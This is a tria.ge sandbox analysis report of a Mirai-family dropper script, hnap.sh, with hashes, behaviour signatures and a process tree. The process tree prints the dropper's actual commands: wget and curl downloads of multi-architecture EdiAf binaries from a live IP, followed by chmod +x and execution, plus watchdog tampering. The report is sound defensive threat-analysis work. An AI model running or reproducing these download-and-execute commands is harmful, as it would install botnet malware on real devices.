Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
141s -
max time network
143s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
11/03/2025, 08:24
Static task
static1
Behavioral task
behavioral1
Sample
hnap.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
hnap.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
hnap.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
hnap.sh
-
Size
2KB
-
MD5
89b1502dd2903fff7203d208a2aa9cb4
-
SHA1
14606fa293661c95c7b22d9db861db09ebf0e6f2
-
SHA256
5a062556da8b1efe601a3afd4058614e32344556cbf217069d3281984e0f5ebc
-
SHA512
6b1a5e1b4d63656ce32cd2f086f4f0d3d8b856bbbf75652e443240df72a6732b54a350a9e9d88d82475f07bb84dedf5729d844f04d27ce0a8cb9fb5b47b641b5
Malware Config
Extracted
mirai
UNSTABLE
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 746 chmod 760 chmod 803 chmod 812 chmod 840 chmod 858 chmod 870 chmod 876 chmod 740 chmod 852 chmod 864 chmod 884 chmod 890 chmod -
Deletes itself 1 IoCs
pid Process 761 WTH -
Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WTH 741 hnap.sh /tmp/WTH 747 hnap.sh /tmp/WTH 761 hnap.sh /tmp/WTH 804 hnap.sh /tmp/WTH 814 hnap.sh /tmp/WTH 842 hnap.sh /tmp/WTH 853 hnap.sh /tmp/WTH 859 hnap.sh /tmp/WTH 865 hnap.sh /tmp/WTH 871 hnap.sh /tmp/WTH 877 hnap.sh /tmp/WTH 885 hnap.sh /tmp/WTH 891 hnap.sh -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTH File opened for modification /dev/misc/watchdog WTH -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTH File opened for modification /bin/watchdog WTH -
resource yara_rule behavioral4/files/fstream-1.dat upx behavioral4/files/fstream-4.dat upx behavioral4/files/fstream-5.dat upx behavioral4/files/fstream-6.dat upx behavioral4/files/fstream-7.dat upx -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself fheckotg3b73 761 WTH -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe WTH File opened for reading /proc/self/maps WTH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 743 wget 744 curl 745 cat -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/EdiAf.mips wget File opened for modification /tmp/EdiAf.mpsl wget File opened for modification /tmp/EdiAf.arm5 curl File opened for modification /tmp/EdiAf.arm7 curl File opened for modification /tmp/EdiAf.ppc curl File opened for modification /tmp/EdiAf.spc curl File opened for modification /tmp/EdiAf.mips curl File opened for modification /tmp/EdiAf.mpsl curl File opened for modification /tmp/EdiAf.arm wget File opened for modification /tmp/EdiAf.arm curl File opened for modification /tmp/EdiAf.arm6 wget File opened for modification /tmp/EdiAf.i686 curl File opened for modification /tmp/EdiAf.sh4 wget File opened for modification /tmp/EdiAf.arc curl File opened for modification /tmp/EdiAf.x86 curl File opened for modification /tmp/EdiAf.arm5 wget File opened for modification /tmp/EdiAf.arm6 curl File opened for modification /tmp/EdiAf.arm7 wget File opened for modification /tmp/EdiAf.ppc wget File opened for modification /tmp/EdiAf.spc wget File opened for modification /tmp/EdiAf.x86 wget File opened for modification /tmp/WTH hnap.sh File opened for modification /tmp/EdiAf.m68k wget File opened for modification /tmp/EdiAf.m68k curl File opened for modification /tmp/EdiAf.sh4 curl
Processes
-
/tmp/hnap.sh/tmp/hnap.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:710 -
/usr/bin/wgetwget http://78.40.117.13/EdiAf.x862⤵
- Writes file to tmp directory
PID:713
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:731
-
-
/bin/catcat EdiAf.x862⤵PID:739
-
-
/bin/chmodchmod +x EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:740
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:741
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:743
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:744
-
-
/bin/catcat EdiAf.mips2⤵
- System Network Configuration Discovery
PID:745
-
-
/bin/chmodchmod +x EdiAf.mips EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:746
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:747
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.mpsl2⤵
- Writes file to tmp directory
PID:749
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:750
-
-
/bin/catcat EdiAf.mpsl2⤵PID:758
-
-
/bin/chmodchmod +x EdiAf.mips EdiAf.mpsl EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:760
-
-
/tmp/WTH./WTH hnap.selfrep2⤵
- Deletes itself
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
- Reads runtime system information
PID:761
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm2⤵
- Writes file to tmp directory
PID:764
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:792
-
-
/bin/catcat EdiAf.arm2⤵PID:802
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:803
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:804
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm52⤵
- Writes file to tmp directory
PID:807
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:808
-
-
/bin/catcat EdiAf.arm52⤵PID:811
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:812
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:814
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm62⤵
- Writes file to tmp directory
PID:817
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:830
-
-
/bin/catcat EdiAf.arm62⤵PID:839
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:842
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arm72⤵
- Writes file to tmp directory
PID:845
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:850
-
-
/bin/catcat EdiAf.arm72⤵PID:851
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:853
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.ppc2⤵
- Writes file to tmp directory
PID:855
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:856
-
-
/bin/catcat EdiAf.ppc2⤵PID:857
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:858
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:859
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.m68k2⤵
- Writes file to tmp directory
PID:861
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:862
-
-
/bin/catcat EdiAf.m68k2⤵PID:863
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:864
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:865
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.spc2⤵
- Writes file to tmp directory
PID:867
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:868
-
-
/bin/catcat EdiAf.spc2⤵PID:869
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:870
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:871
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.i6862⤵PID:873
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:874
-
-
/bin/catcat EdiAf.i6862⤵PID:875
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 hnap.sh systemd-private-25cfef09d60348ebb2dd32362bf180f7-systemd-timedated.service-8slkon WTH2⤵
- File and Directory Permissions Modification
PID:876
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:877
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.sh42⤵
- Writes file to tmp directory
PID:878
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:882
-
-
/bin/catcat EdiAf.sh42⤵PID:883
-
-
/bin/chmodchmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 hnap.sh WTH2⤵
- File and Directory Permissions Modification
PID:884
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:885
-
-
/usr/bin/wgetwget http://78.40.117.13/EdiAf.arc2⤵PID:887
-
-
/usr/bin/curlcurl -O http://78.40.117.13/EdiAf.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888
-
-
/bin/catcat EdiAf.arc2⤵PID:889
-
-
/bin/chmodchmod +x EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 hnap.sh WTH2⤵
- File and Directory Permissions Modification
PID:890
-
-
/tmp/WTH./WTH hnap.selfrep2⤵PID:891
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
30KB
MD5e932653d32b429c51de2046623fa71d2
SHA132ecc535e6cf6e99f105835d4a7cb75ef4cb233a
SHA25687dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612
SHA512e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2
-
Filesize
33KB
MD5029a7185777b7f885a6c3807e46b7365
SHA187372b0029b72446861c7b429e3ef1626c337218
SHA25642c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d
SHA5124890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8
-
Filesize
35KB
MD57327f58c0e15f6086301a81780e100dc
SHA1292bb04ad4df407ac687ef1df1071659708bd3bb
SHA256b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d
SHA5124cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911
-
Filesize
32KB
MD5addb1cd662dd870b9b7ed5273d6fa76e
SHA16e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0
SHA256cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7
SHA51228525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f
-
Filesize
21KB
MD5a117b1b367633cb07f0795bd5f0c6f8f
SHA132bfac42c7134383c6381b94c0d75317fcb56d11
SHA25640fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0
SHA5127e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726
-
Filesize
75KB
MD5642dff628df548a6c458f004fd3b5aa1
SHA1cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7
SHA256219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed
SHA512dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851